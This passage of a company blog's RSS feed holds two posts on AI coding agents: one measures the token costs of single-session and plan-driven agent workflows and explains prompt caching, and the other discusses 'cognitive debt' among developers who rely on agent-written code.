<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Posts on ROBOCO</title>
        <link>https://roboco.io/en/posts/</link>
        <description>Recent content in Posts on ROBOCO</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en-us</language>
        <managingEditor>contact@roboco.io (ROBOCO)</managingEditor>
        <webMaster>contact@roboco.io (ROBOCO)</webMaster>
        <lastBuildDate>Sun, 26 Jul 2026 10:00:00 +0900</lastBuildDate>
        <atom:link href="https://roboco.io/en/posts/index.xml" rel="self" type="application/rss+xml" />
        
        <item>
            <title>Surprisingly, the Ralph Loop Is 9x Cheaper - The Economics of Context Caching</title>
            <link>https://roboco.io/en/posts/vibe-coding-token-experiments/</link>
            <pubDate>Sun, 26 Jul 2026 10:00:00 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/vibe-coding-token-experiments/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;A single-session loop that just states a goal and runs until done finished the same task at one-ninth the cost of a plan-driven workflow. The secret isn&amp;rsquo;t the loop — it&amp;rsquo;s the cache.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;The Ralph loop is a simple approach. You specify only the goal and the completion criteria, then let the agent iterate autonomously in a single session until it passes the completion check. No plan document, no task decomposition, no handoff notes between sessions. At first glance it looks unplanned and inefficient.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p>A single-session loop that just states a goal and runs until done finished the same task at one-ninth the cost of a plan-driven workflow. The secret isn&rsquo;t the loop — it&rsquo;s the cache.</p>
</blockquote>
<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<hr>
<p>The Ralph loop is a simple approach. You specify only the goal and the completion criteria, then let the agent iterate autonomously in a single session until it passes the completion check. No plan document, no task decomposition, no handoff notes between sessions. At first glance it looks unplanned and inefficient.</p>
<p>As vibe coding becomes the norm, many organizations are running short on tokens. I covered token management strategies in an earlier post<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>, but most of those prescriptions were rules of thumb. So we built an experiment repository, <a href="https://github.com/roboco-io/vibecoding-token-experiments">vibecoding-token-experiments</a><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>, to put those rules of thumb to the test. It maintains a catalog of hypotheses about token usage and measures them one at a time under controlled conditions, on a fixed benchmark task — implementing the RealWorld App<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> backend — across three axes: workflow strategy, token habits, and language.</p>
<p>The first axis was workflow strategy. When we measured it, this simple Ralph loop approach completed the same task <strong>roughly 9x more cheaply</strong> than a plan-driven workflow. This post presents the results of the four experiments we&rsquo;ve run so far, along with an explanation of <strong>how prompt caching actually works</strong> — the real mechanism that makes the Ralph loop cheap.</p>
<h2 id="1-the-experiment-ralph-loop-vs-plan-driven-workflow">1. The Experiment: Ralph Loop vs. Plan-Driven Workflow</h2>
<p>The shared task is implementing the RealWorld App backend. It requires implementing the REST API of a Medium clone to spec and passing 100% of the official API tests to count as complete. The model was fixed to Claude Opus alone to eliminate confounds from model differences, and the tool was Claude Code. Measurement aggregated the usage fields in session logs, using <strong>billable tokens</strong> (input + output + cache_creation) as the metric.</p>
<p>Here are the two workflows we compared:</p>
<ul>
<li><strong>Ralph loop</strong>: specify only the goal and completion criteria, then let the agent iterate autonomously in a single session until it passes the completion check</li>
<li><strong>Plan-then-execute (PTE)</strong>: decompose tasks and document interface contracts in a planning session, then spin up an independent session per task to implement</li>
</ul>
<p>Before we start, let&rsquo;s be clear about the scope of this experiment. RealWorld App is <strong>a task with fully fixed requirements.</strong> The API spec and the tests are already given, so what the agent does is pure implementation. In real development, by contrast, agents are typically brought in from the requirements-definition and design stages, and at those stages exploration and the planning artifacts themselves are the point. So what this experiment measures is not &ldquo;is planning necessary&rdquo; but <strong>the effect of context caching and the cost efficiency of the Ralph loop at the implementation stage.</strong> It looks at how much workflow and context structure drive token cost when what to build is already decided.</p>
<h2 id="2-results-the-ralph-loop-was-about-9x-cheaper">2. Results: The Ralph Loop Was About 9x Cheaper</h2>
<table>
  <thead>
      <tr>
          <th>Metric</th>
          <th style="text-align: right">Ralph loop</th>
          <th style="text-align: right">Plan-then-execute</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Completion check</td>
          <td style="text-align: right">Pass</td>
          <td style="text-align: right">Pass</td>
      </tr>
      <tr>
          <td>Wall-clock time</td>
          <td style="text-align: right"><strong>14 min</strong></td>
          <td style="text-align: right">49 min</td>
      </tr>
      <tr>
          <td>Sessions</td>
          <td style="text-align: right"><strong>1</strong></td>
          <td style="text-align: right">16</td>
      </tr>
      <tr>
          <td>output tokens</td>
          <td style="text-align: right"><strong>90,877</strong></td>
          <td style="text-align: right">797,845</td>
      </tr>
      <tr>
          <td>cache_creation tokens</td>
          <td style="text-align: right"><strong>233,687</strong></td>
          <td style="text-align: right">2,040,513</td>
      </tr>
      <tr>
          <td><strong>billable total</strong></td>
          <td style="text-align: right"><strong>324,775</strong></td>
          <td style="text-align: right"><strong>2,839,815</strong></td>
      </tr>
  </tbody>
</table>
<p>Both conditions passed 100% of the API tests. Quality was identical; cost diverged. The Ralph loop finished in 14 minutes, one session, about 320K tokens. On a billable basis that&rsquo;s <strong>1/8.7</strong> of PTE, and 1/3.5 on time. A single PTE planning session (about 360K tokens) cost more than the Ralph loop&rsquo;s entire run.</p>
<p>Breaking down from the logs what costs the Ralph loop avoided, there are four:</p>
<ol>
<li><strong>Fixed session startup cost</strong>: every time you open a new session, the system prompt and tool definitions are freshly loaded into context. The measured startup tax was about 20.6K tokens per session. PTE had 16 sessions, so it paid 330K tokens; subtracting Ralph&rsquo;s single instance (about 21K), the difference alone — about 310K tokens — nearly matches Ralph&rsquo;s entire run cost (325K).</li>
<li><strong>Re-reading the same files</strong>: each PTE session starts out seeing the repository for the first time. It re-read <code>src/app.ts</code> 7 times and the same spec document 5 times. Ralph never re-reads what it has already seen within one context. Read calls were 2 for Ralph vs. 49 for PTE; verification Bash calls were 35 vs. 186.</li>
<li><strong>The production cost of documentation continuity</strong>: 44% of PTE&rsquo;s output was not code but documents for transferring knowledge between sessions (specs, completion records). For Ralph this cost is zero, because the context itself is a living handoff document.</li>
<li><strong>The paradox of atomic decomposition</strong>: in PTE, the smallest task — a single GET endpoint — burned 156K tokens. That&rsquo;s close to half of Ralph&rsquo;s total. The smaller the task, the more the fixed costs (startup tax + getting oriented in the repo + independent verification) dominate.</li>
</ol>
<h2 id="3-the-secret-is-prompt-caching-how-it-works">3. The Secret Is Prompt Caching: How It Works</h2>
<p>The Ralph loop didn&rsquo;t win because the loop structure is superior. <strong>It won because it reused a context it built once, through the prompt cache, all the way to the end.</strong> Once you understand this mechanism, the result becomes obvious.</p>
<p><strong>Principle 1: The cache stores the front of the prompt (the prefix) wholesale.</strong> Claude API&rsquo;s prompt caching<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> caches a contiguous span starting from the very beginning of the prompt. The key is a hash of the content, so if a byte-identical prefix arrives again, the model loads the server-side stored state as-is without reprocessing. In the usage field, <code>cache_creation_input_tokens</code> is the tokens newly written to the cache on this request, and <code>cache_read_input_tokens</code> is the tokens read from a cache hit.</p>
<p><strong>Principle 2: Agent conversations are structurally cache-friendly.</strong> An agent&rsquo;s conversation accumulates append-only. Since it never modifies earlier turns and only appends at the end, the entire history up to that point is always a stable prefix. The result is that every turn is billed as &ldquo;everything before = cache read, only this turn&rsquo;s new input and output at full price.&rdquo; Claude Code automatically caches the system prompt, tool definitions, and conversation history, so there&rsquo;s nothing for the user to configure.</p>
<p><strong>Principle 3: A cache read costs 0.1x full price.</strong> A cache write carries a small premium at 1.25x base input (on the 5-minute TTL), but a read is only about <strong>0.1x</strong><sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>. On top of that, the 5-minute TTL resets for free on every hit, so as long as the agent keeps taking turns within 5 minutes, the cache stays alive for the whole session. A single hit is enough to break even.</p>
<p><strong>Principle 4: The cache is keyed on prefix content, not on the session.</strong> This is exactly why a new session is expensive. Parts that are common across sessions — the system prompt and tool definitions (the ~20.6K startup-tax region measured above) — can be reused if you&rsquo;re within the TTL, but <strong>the conversation history and the files read differ per session</strong>, so that portion is rebuilt as a cache write (1.25x) every time. The cache also has a tools → system → messages hierarchy, so changing tool definitions or the model invalidates everything below it.</p>
<p>Plug these four principles into the measurements and the numbers explain themselves. Ralph&rsquo;s single session (112 messages) racked up 8.4M cache-read tokens. That&rsquo;s the trace of what would have cost full price to reprocess the same context 112 times, absorbed at 0.1x. PTE, by contrast, restarts the prefix every session, so cache_creation exploded to 2.04M tokens (8.7x Ralph&rsquo;s).</p>
<p>The billable metric is an approximation that excludes cache reads, so converting to something closer to the actual bill using Opus rates (input $5/M, output $25/M, cache write $6.25/M, cache read $0.5/M) gives this:</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th style="text-align: right">Ralph loop</th>
          <th style="text-align: right">PTE</th>
          <th style="text-align: right">PTE + Skills</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>output</td>
          <td style="text-align: right">$2.27</td>
          <td style="text-align: right">$19.95</td>
          <td style="text-align: right">$8.71</td>
      </tr>
      <tr>
          <td>cache write</td>
          <td style="text-align: right">$1.46</td>
          <td style="text-align: right">$12.75</td>
          <td style="text-align: right">$8.59</td>
      </tr>
      <tr>
          <td>cache read</td>
          <td style="text-align: right">$4.21</td>
          <td style="text-align: right">$21.26</td>
          <td style="text-align: right">$13.44</td>
      </tr>
      <tr>
          <td><strong>Total</strong></td>
          <td style="text-align: right"><strong>~$7.9</strong></td>
          <td style="text-align: right"><strong>~$54.0</strong></td>
          <td style="text-align: right"><strong>~$30.7</strong></td>
      </tr>
  </tbody>
</table>
<p>(The &ldquo;PTE + Skills&rdquo; condition in the table is covered in section 4.)</p>
<p>In dollar terms too, the Ralph loop costs 1/6.8 of PTE. One thing worth noting is that even in a single session, cache read is the largest cost line item (53% of Ralph&rsquo;s). Even at 0.1x, you read the entire history every turn, so as the session lengthens the cost accumulates on a quadratic curve. There&rsquo;s no free lunch in the Ralph loop either. This is the quantitative basis for the advice to run <code>/compact</code> at the right moments.</p>
<h2 id="4-when-splitting-is-unavoidable-skill-style-progressive-disclosure">4. When Splitting Is Unavoidable: Skill-Style Progressive Disclosure</h2>
<p>If a task doesn&rsquo;t fit into a single session&rsquo;s context, splitting is unavoidable. We ran an experiment on the prescription for that case too. We applied <strong>Skill-style progressive disclosure</strong> to the same PTE workflow: the planning session wrote domain-level contracts (error strings, validation order, shared infrastructure conventions) as Skill documents of 200 lines or fewer, and each task session loaded only the Skills it needed, when it needed them.</p>
<table>
  <thead>
      <tr>
          <th>Metric</th>
          <th style="text-align: right">Baseline PTE</th>
          <th style="text-align: right">PTE + Skills</th>
          <th style="text-align: right">Change</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>output tokens</td>
          <td style="text-align: right">797,845</td>
          <td style="text-align: right">348,232</td>
          <td style="text-align: right">-56%</td>
      </tr>
      <tr>
          <td>billable total</td>
          <td style="text-align: right">2,839,815</td>
          <td style="text-align: right">1,723,575</td>
          <td style="text-align: right"><strong>-39.3%</strong></td>
      </tr>
      <tr>
          <td>Rework loops</td>
          <td style="text-align: right">3 sessions (336K)</td>
          <td style="text-align: right"><strong>0</strong> (passed first try)</td>
          <td style="text-align: right">-100%</td>
      </tr>
  </tbody>
</table>
<p>The workflow was identical and only the context structure changed, yet <strong>it dropped 39.3%.</strong> Limiting what each task session reads to &ldquo;its own spec + the Skills it needs&rdquo; eliminated re-reading (Read calls 49 → 25, with 41 Skill invocations), and because the contracts were explicit, it passed the verification gate on the first attempt, wiping out 336K tokens of rework cost entirely.</p>
<p>The interesting part is the experiment in the opposite direction. When we gave the same Skills to <strong>a single-session Ralph</strong>, we couldn&rsquo;t confirm any effect (n=2; a mean difference of +3.5% was entirely buried in the 200K within-condition variation). The reason was clear. A session performing the whole task by itself needs all the contracts anyway, so there were 0 Skill tool invocations — it just read all the Skill documents at the start of the session. Progressive disclosure&rsquo;s savings mechanism only works <strong>when a session needs only a subset of the total context.</strong> Put the other way: a single-session Ralph loop is already near-optimal from a caching standpoint, with no context structure left to tune.</p>
<h2 id="5-why-you-need-to-know-the-size-of-the-noise">5. Why You Need to Know the Size of the Noise</h2>
<p>In a separate experiment, we also tested the hypothesis that &ldquo;running the whole process in English uses fewer tokens than Korean.&rdquo; As a static measurement, the effect is real. Tokenizing documents with the same content, Korean is 2.76x larger for prose and 1.39x larger for a mix of tables and code. In actual work, however, the language effect (mean difference ~29K) was buried in run-to-run trajectory variation (up to 138K), making it impossible to call.</p>
<p>Two runs executed under identical conditions diverged by 1.7x in tokens (191K vs. 329K), and in the fourth experiment by as much as 2x (199K vs. 400K). How deeply the agent &ldquo;decides&rdquo; to dig into the spec&rsquo;s edge cases was a far bigger cost variable than language. The fact that most of the output is language-neutral code also lowered the ceiling on the language effect.</p>
<p>This observation has practical implications in its own right. Variation in an agent&rsquo;s work trajectory is constant noise on the order of hundreds of thousands of tokens, so a savings technique at the 10% level cannot be validated by comparing one or two runs. If someone tells you &ldquo;this setting cut tokens by 15%,&rdquo; the first thing to ask is how many runs that average covers. Conversely, effects like the Ralph loop&rsquo;s 8.7x or Skills&rsquo; -39.3% exceed this noise band by several multiples, so a single run won&rsquo;t flip the direction.</p>
<hr>
<h2 id="conclusion">Conclusion</h2>
<p>One conclusion runs through all four experiments. At the implementation stage with fixed requirements, <strong>the dominant variable in token cost is not workflow sophistication but context (cache) reuse.</strong> The Ralph loop&rsquo;s 9x efficiency isn&rsquo;t magic inherent to the loop; it&rsquo;s a direct consequence of the caching structure — &ldquo;append-only history = stable prefix = 0.1x reuse.&rdquo; Distilled into practical guidance:</p>
<ol>
<li><strong>If a task with a settled implementation fits in a single session, run it in a single session.</strong> The moment you split sessions, fixed startup costs and context-rebuilding costs accumulate, making the same task 6–9x more expensive.</li>
<li><strong>If splitting is unavoidable, structure your context as Skills.</strong> Making each session load only the subset it needs can cut the tax of splitting by close to 40%. But it has no effect on a single session that needs the whole context — that side is already optimal.</li>
<li><strong>Very long single sessions get expensive again.</strong> Cache reads aren&rsquo;t free; they&rsquo;re billed at 0.1x and accumulate on a quadratic curve. A well-timed <code>/compact</code> is quantitatively justified.</li>
<li><strong>Variables at the 10% level, like document language (Korean vs. English), are far smaller than those two decisions.</strong> Because run-to-run variation is larger than that, the right order is to settle workflow and context structure first.</li>
</ol>
<p>This isn&rsquo;t to say planning is pointless. These results are limited to the implementation stage with fixed requirements and don&rsquo;t generalize as-is to stages like requirements definition or design, where exploration and consensus are themselves the goal. And the plan documents, interface contracts, and per-task completion records that PTE leaves behind are assets — from a maintenance and handoff perspective — that Ralph never produces. As far as the implementation stage goes, though, the approach that looks simplest meshed exactly with the caching structure and came out cheapest. In an era where tokens have become an organizational bottleneck, judging your cost structure by intuition instead of measurement is the most expensive choice of all.</p>
<hr>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>Token management strategies for vibe coding: /en/posts/vibe-coding-token-management-strategy/&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>vibecoding-token-experiments - the token experiment management repository (hypothesis catalog, experiment designs, and raw logs published openly): <a href="https://github.com/roboco-io/vibecoding-token-experiments">https://github.com/roboco-io/vibecoding-token-experiments</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>RealWorld - &ldquo;The mother of all demo apps&rdquo;: <a href="https://github.com/gothinkster/realworld">https://github.com/gothinkster/realworld</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>Anthropic official docs - Prompt caching: <a href="https://platform.claude.com/docs/en/build-with-claude/prompt-caching">https://platform.claude.com/docs/en/build-with-claude/prompt-caching</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>Anthropic official docs - Pricing: <a href="https://platform.claude.com/docs/en/pricing">https://platform.claude.com/docs/en/pricing</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
        </item>
        
        <item>
            <title>Cognitive Debt - Managing a New Kind of Debt in the Vibe Coding Era</title>
            <link>https://roboco.io/en/posts/cognitive-debt/</link>
            <pubDate>Sat, 18 Jul 2026 10:00:00 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/cognitive-debt/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Shipping first time code is like going into debt. A little debt speeds development so long as it is paid back promptly.&amp;rdquo; — Ward Cunningham, OOPSLA &amp;lsquo;92&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Work with vibe coding long enough and a strange moment arrives. This is unmistakably my project, yet when I open the code it feels like someone else&amp;rsquo;s house. The agent designed it, the agent implemented it, and I pressed the approve button. The work got done fast. But when something breaks, I find myself saying: &amp;ldquo;Why did this happen? The AI wrote it, so I&amp;rsquo;m not really sure.&amp;rdquo;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p>&ldquo;Shipping first time code is like going into debt. A little debt speeds development so long as it is paid back promptly.&rdquo; — Ward Cunningham, OOPSLA &lsquo;92<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
</blockquote>
<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<hr>
<p>Work with vibe coding long enough and a strange moment arrives. This is unmistakably my project, yet when I open the code it feels like someone else&rsquo;s house. The agent designed it, the agent implemented it, and I pressed the approve button. The work got done fast. But when something breaks, I find myself saying: &ldquo;Why did this happen? The AI wrote it, so I&rsquo;m not really sure.&rdquo;</p>
<p>This is cognitive debt. Code accumulates but understanding does not. That gap is the debt.</p>
<p>The term is not hyperbole. In 2025, an MIT Media Lab research team measured the brains of people writing essays using EEG. The group that used an LLM showed the weakest neural connectivity, could not properly quote what they had written, and reported the lowest sense of ownership over their own writing. The pattern persisted even after they stopped using AI. The team named the phenomenon &ldquo;cognitive debt.&rdquo;<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> The data on the code side points the same way. When GitClear analyzed over 200 million lines of commits, copy-pasted code rose and refactoring fell by more than half over the period AI assistants spread.<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> Output got faster. Understanding and cleanup got pushed back.</p>
<hr>
<h2 id="does-putting-a-human-in-the-loop-solve-it">Does Putting a Human in the Loop Solve It?</h2>
<p>The usual prescription in the face of this problem is human-in-the-loop: have a human review every artifact. It sounds plausible. In reality it doesn&rsquo;t work.</p>
<p>The reason is simple. Agents produce far faster than humans. If a human is involved every time, the human becomes the bottleneck. A human who is the bottleneck is pressed for time. Under time pressure, they stop looking at the content and just press approve. Review becomes a formality, and a formalized review manufactures an illusion — the illusion that &ldquo;a human looked at it, so it&rsquo;s fine.&rdquo; That can be worse than nobody looking at all.</p>
<p>This isn&rsquo;t a new discovery. Automation research reached this conclusion 40 years ago. In a 1983 paper, Bainbridge pointed out the ironies of automation. The more something is automated, the fewer chances a person has to practice their skills. What&rsquo;s left is tedious monitoring. Yet the moments when the human must intervene are precisely the hardest ones.<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> Follow-up research also confirmed that automation complacency is not a novice-only problem. Experts grow just as complacent, and it doesn&rsquo;t respond well to training or instruction.<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></p>
<p>Your own sense of things isn&rsquo;t trustworthy either. METR ran a randomized controlled trial with experienced open-source developers in 2025. Developers using AI tools were actually 19% slower, yet they felt they were 20% faster.<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup> The gap between feeling that you understand and actually understanding — cognitive debt grows in exactly that gap.</p>
<hr>
<h2 id="debt-is-something-you-manage-not-something-you-eliminate">Debt Is Something You Manage, Not Something You Eliminate</h2>
<p>So what should we do? I want to argue that we should treat cognitive debt the same way we treat technical debt.</p>
<p>Ward Cunningham, who coined the term technical debt, never framed debt as evil. Quite the opposite: a little debt speeds development. The problem isn&rsquo;t the debt itself but the interest that accrues when you leave it unpaid.<sup id="fnref1:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> The same holds for cognitive debt. Demanding that a human fully understand and be able to explain every line of AI-generated code is unrealistic. The moment you take that demand seriously, the point of using AI disappears. Trying to drive the debt to zero fails. The target isn&rsquo;t zero; it&rsquo;s an appropriate level.</p>
<p>What is an appropriate level? It&rsquo;s a state in which, whenever asked, you can explain to a certain depth. You don&rsquo;t need to have every function memorized. But you should be able to say why the system looks the way it does, where the danger lies, and what observation would mean the design has failed. When your understanding drops below that line, it&rsquo;s time to pay down the debt.</p>
<p>The question is how. I use or propose three approaches.</p>
<hr>
<h2 id="first-the-pop-quiz">First, the Pop Quiz</h2>
<p>There are moments when a design or an implementation is finished and I have the nagging feeling that I don&rsquo;t really know what I just built. That moment is the moment to pay down the debt. When it hits, I ask the agent to give me a pop quiz. This isn&rsquo;t idea-level talk — I&rsquo;ve actually built it as a Skill and use it.</p>
<p>There&rsquo;s one core principle: the answers must always come out of my mouth. It&rsquo;s convenient when the agent explains. It&rsquo;s also useless, because hearing an explanation makes you think you understood. The debt remains intact under the illusion. So this quiz is an interview, not a grading exercise. The agent asks a single open-ended question: &ldquo;Why this approach rather than alternative X?&rdquo; &ldquo;What goes wrong if this part isn&rsquo;t there?&rdquo; It listens to my answer, picks the point where a gap surfaced, and asks a follow-up. The next question isn&rsquo;t decided in advance. My previous answer determines it. Only when the same gap survives two follow-up questions does an explanation finally come.</p>
<p>It doesn&rsquo;t tell me what I left out right away, either. It demands recall: &ldquo;There&rsquo;s another step — what&rsquo;s missing?&rdquo; It&rsquo;s uncomfortable. Uncomfortable is normal. Paying down debt has never been comfortable.</p>
<h2 id="second-the-literate-code-diff">Second, the Literate Code Diff</h2>
<p>In 1984, Knuth proposed literate programming with this framing: let us change our traditional attitude to the construction of programs, so that the main task is to explain to human beings what we want the computer to do, rather than to instruct the computer.<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup> Applying that perspective to the diff gives us the literate code diff.</p>
<p>A typical code review screen is a list of changed files. The file order is alphabetical and unrelated to the logical order of the change. The reviewer has to reassemble fragmented changes in their head. Faced with a large change made by an agent, that reassembly is frequently abandoned. And then the approve button gets pressed.</p>
<p>The literate code diff inverts the order. It arranges the changes in conceptual order and attaches an explanation to each step. &ldquo;First I changed the repository interface, because… Then I fixed the call sites, because…&rdquo; The reader follows the change as a single story. I also think it&rsquo;s worth maintaining these documents like release notes: one literate diff document per PR, with an index in the README to keep them accessible. The history of the codebase then survives not as &ldquo;who changed what and when&rdquo; but as &ldquo;why it came to be this way.&rdquo;</p>
<h2 id="third-narrative-documents">Third, Narrative Documents</h2>
<p>Most documents AI produces are enumerations. A document of neatly aligned bullet points can be taken in at a glance. That&rsquo;s both its virtue and its trap. Because it can be taken in at a glance, it&rsquo;s easy to mistake skimming for reading, and the places where logic is missing don&rsquo;t stand out. It&rsquo;s also quickly forgotten.</p>
<p>Amazon ran this experiment company-wide. In a 2004 executive meeting, Bezos banned PowerPoint and introduced narrative memos. The reasoning is precise: good narrative memos are hard to write because the narrative structure forces better thought about what is more important and how things are connected.<sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup> The same applies to the reader. Narrative takes longer to read than enumeration. In exchange, because you read it as a story, the places where the logic breaks become visible, and what you read sticks longer.</p>
<p>Let&rsquo;s compare using an ADR (Architecture Decision Record). An enumerated ADR looks like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span><span style="color:#75715e">## Decision: Migrate session store to Redis
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">-</span> Situation: DB session table bottleneck
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">-</span> Alternatives: Memcached, DynamoDB, Redis
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">-</span> Choice: Redis
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">-</span> Rationale: TTL support, existing operational experience
</span></span></code></pre></div><p>Clean. And impossible to verify in any respect. How severe was the bottleneck, why was Memcached eliminated, was &ldquo;existing operational experience&rdquo; an important enough condition to justify the decision — this document says none of it. Written as a narrative, the same decision reads like this:</p>
<blockquote>
<p>Last quarter traffic doubled, and lock contention on the session table became the primary cause of response latency. During peak hours, 60% of p99 latency came from session lookups. We needed a cache layer. Memcached was ruled out because a restart wipes all sessions and could trigger a login stampede. DynamoDB met the latency requirement, but its TTL granularity is at the minute level, which doesn&rsquo;t fit our session expiration policy. Redis satisfied both requirements, and since the team has operational experience with it, the incident-response risk is low. That said, it&rsquo;s a single-node configuration, so a Redis failure makes all logins impossible. That is this design&rsquo;s failure condition.</p>
</blockquote>
<p>It takes about three times as long to read. In exchange, someone who reads this can ask questions. &ldquo;Where does the 60%-of-p99 number come from?&rdquo; &ldquo;Doesn&rsquo;t Memcached have a persistence option?&rdquo; These are questions that never surfaced in front of the enumerated document. Only when the logic runs through sentences do the holes in the logic become visible. A document that pays down cognitive debt is not one that reads fast but one you can read critically.</p>
<hr>
<h2 id="conclusion">Conclusion</h2>
<p>Cognitive debt is not a bug of vibe coding; it&rsquo;s a cost. If you bought speed, you have to pay for it. There is no way to avoid paying. There are only ways to go through the motions of paying, like human-in-the-loop, and going through the motions is generally worse than not paying at all.</p>
<p>Handle it the way you handle technical debt. Don&rsquo;t try to pay it all off. You can&rsquo;t. Instead, keep checking whether the interest is at a manageable level. If you can&rsquo;t explain what you just approved, the interest has exceeded your limit. That&rsquo;s when you take the pop quiz, reread the diff as a story, and rewrite the documents as narrative.</p>
<p>Understanding does not accumulate automatically. Only code does.</p>
<hr>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>Ward Cunningham, The WyCash Portfolio Management System (OOPSLA &lsquo;92 Experience Report): <a href="https://c2.com/doc/oopsla92.html">https://c2.com/doc/oopsla92.html</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>Nataliya Kosmyna et al., Your Brain on ChatGPT: Accumulation of Cognitive Debt when Using an AI Assistant for Essay Writing Task (MIT Media Lab, 2025): <a href="https://arxiv.org/abs/2506.08872">https://arxiv.org/abs/2506.08872</a> — note that rebuttal commentary on the sample size and EEG analysis methodology has also been published, so it is premature to take the conclusions as settled.&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>GitClear, AI Copilot Code Quality: 2025 Data Suggests 4x Growth in Code Clones (2025): <a href="https://www.gitclear.com/ai_assistant_code_quality_2025_research">https://www.gitclear.com/ai_assistant_code_quality_2025_research</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>Lisanne Bainbridge, Ironies of Automation (Automatica, 1983): <a href="https://en.wikipedia.org/wiki/Ironies_of_Automation">https://en.wikipedia.org/wiki/Ironies_of_Automation</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>Raja Parasuraman &amp; Dietrich H. Manzey, Complacency and Bias in Human Use of Automation: An Attentional Integration (Human Factors, 2010): <a href="https://journals.sagepub.com/doi/10.1177/0018720810376055">https://journals.sagepub.com/doi/10.1177/0018720810376055</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
